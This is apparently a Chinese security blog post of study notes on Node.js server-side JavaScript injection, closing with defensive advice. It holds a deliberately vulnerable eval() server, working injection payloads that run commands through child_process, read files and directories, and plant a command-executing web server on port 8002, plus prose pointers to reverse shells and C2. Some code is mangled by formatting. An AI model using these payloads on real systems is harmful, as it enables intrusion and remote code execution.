Server Side JavaScript Injection
2022-12-9 14:25:13 Author: 仙友道(查看原文) 阅读量:17 收藏

Awvs扫到个Server-side JavaScript injection的洞,之前没接触过Nodejs的站,学习记录一下。

NodeJS 安装

https://nodejs.org/zh-cn/download/
下载特定版本:https://nodejs.org/dist/
下载后傻瓜式安装,不在赘述。完成以后默认会添加环境变量,如果没有自行添加一下。
检查Node.js版本
node --version

NodeJS 基础语法

控制台输出使用console.log(),
console.log(“Hello World~”);
NodeJS使用 require 指令来导入其他模块,与Python的"import"类似
var os = require("os");console.log(os.hostname());
创建服务器使用 http.createServer() 方法,并使用 listen 方法绑定 8888 端口。函数通过 request, response 参数来接收和响应数据。
var http = require('http');// 引入http模块http.createServer(function (request, response{    // 设置响应头        // HTTP 状态值: 200 : OK        // 内容类型: text/plain    response.writeHead(200, {'Content-Type''text/plain'});        // 发送响应数据 "Hello World~"    response.write('Hello');    response.end(' World~\n');}).listen(8888);// 终端打印如下信息console.log('Server running at http://127.0.0.1:8888/');
获取GET/POST参数
var url = require('url');// 引入url模块var params = url.parse(request.url, true).query;    // 获取name值 response.end(params.name);

NodeJS 代码注入

攻击者可以注入任意 JavaScript 代码以在服务器上执行。 
var http = require('http');var url = require('url');http.createServer(function (request, response{      response.writeHead(200, {'Content-Type''text/plain'});      var params = url.parse(request.url, true).query;      eval(params.name);      response.end('Success~s\n');}).listen(8888);console.log('Server running at http://127.0.0.1:8888/');
这里的eval()类似于php中的eval(),只不过一个执行的js代码,一个执行的php代码。

NodeJS 文件操作库

Node.js(以及一些NoSQL数据库引擎,如CouchDB)使用CommonJS API;通过包含“fs”模块来支持文件系统访问
var fs = require("fs");// 异步读取fs.readFile('input.txt', function (err, data) {   if (err) {       return console.error(err);   }   console.log("异步读取: " + data.toString());});// 同步读取var data = fs.readFileSync('input.txt');console.log("同步读取: " + data.toString());console.log("程序执行完毕。");
读取当前目录:
require('fs').readdirSync('.').toString();
读取父级目录:
require('fs').readdirSync('..').toString();
异步读取文件
require('fs').readFileSync(filename);

NodeJS 执行命令

NodeJS执行命令使用的是child_process的exec方法
这里一直没有回显,网上也没找到什么有用的,最终使用的替代方案是把命令结果输出到文件,然后使用fs来读文件。
127.1:8888/?code=require(‘child_process’).exec(‘whoami > 123.txt’)
127.1:8888/?code=response.write(require(‘fs’).readFileSync(‘123.txt’))
网上看到了外带的方式
相当于把执行结果通过socket发到我们指定的端口,这里也可以直接反弹shell,或者通过写一个二进制文件上C2,或者无文件落地上线C2,总之已经能执行命令了,想扩展成果思路很多。
今天看到一个新的方式,通过新起一个服务端的方式拿到回显
require('http').createServer(function (req, res{    res.writeHead(200, {"Content-Type""text/plain"});    require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st{        res.end(s);}); }).listen(8002);
然后访问8002,参数为cmd,不过如果目标只是映射出一个端口的话还是不行,还是用前面的思路比较好

防御建议

SSJS  注入的防御也类似于  SQL  注入的防御
用户输入的一切都是不可信的~
  • 使用黑名单验证SSJS  命令中使用的用户输入。
  • 避免使用JavaScript  eval  命令。特别是,在解析  JSON  输入时,使用更安全的替代方法,例如  JSON.parse。
  • 不要直接使用函数来解析用户输入。避免使用具有类似效果的其他命令,例如、和。eval()setTimeOut()setInterval()Function()
  • 启用严格模式。"use strict"

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NjYwNDgzMQ==&mid=2247485664&idx=1&sn=49ab3c44ca3524557da885f79346a18d&chksm=cf2ef410f8597d067137b2906eec59654c0cbf8d3749d5853a93426af5a4cc3e1b4dba73bb96#rd
如有侵权请联系:admin#unsafe.sh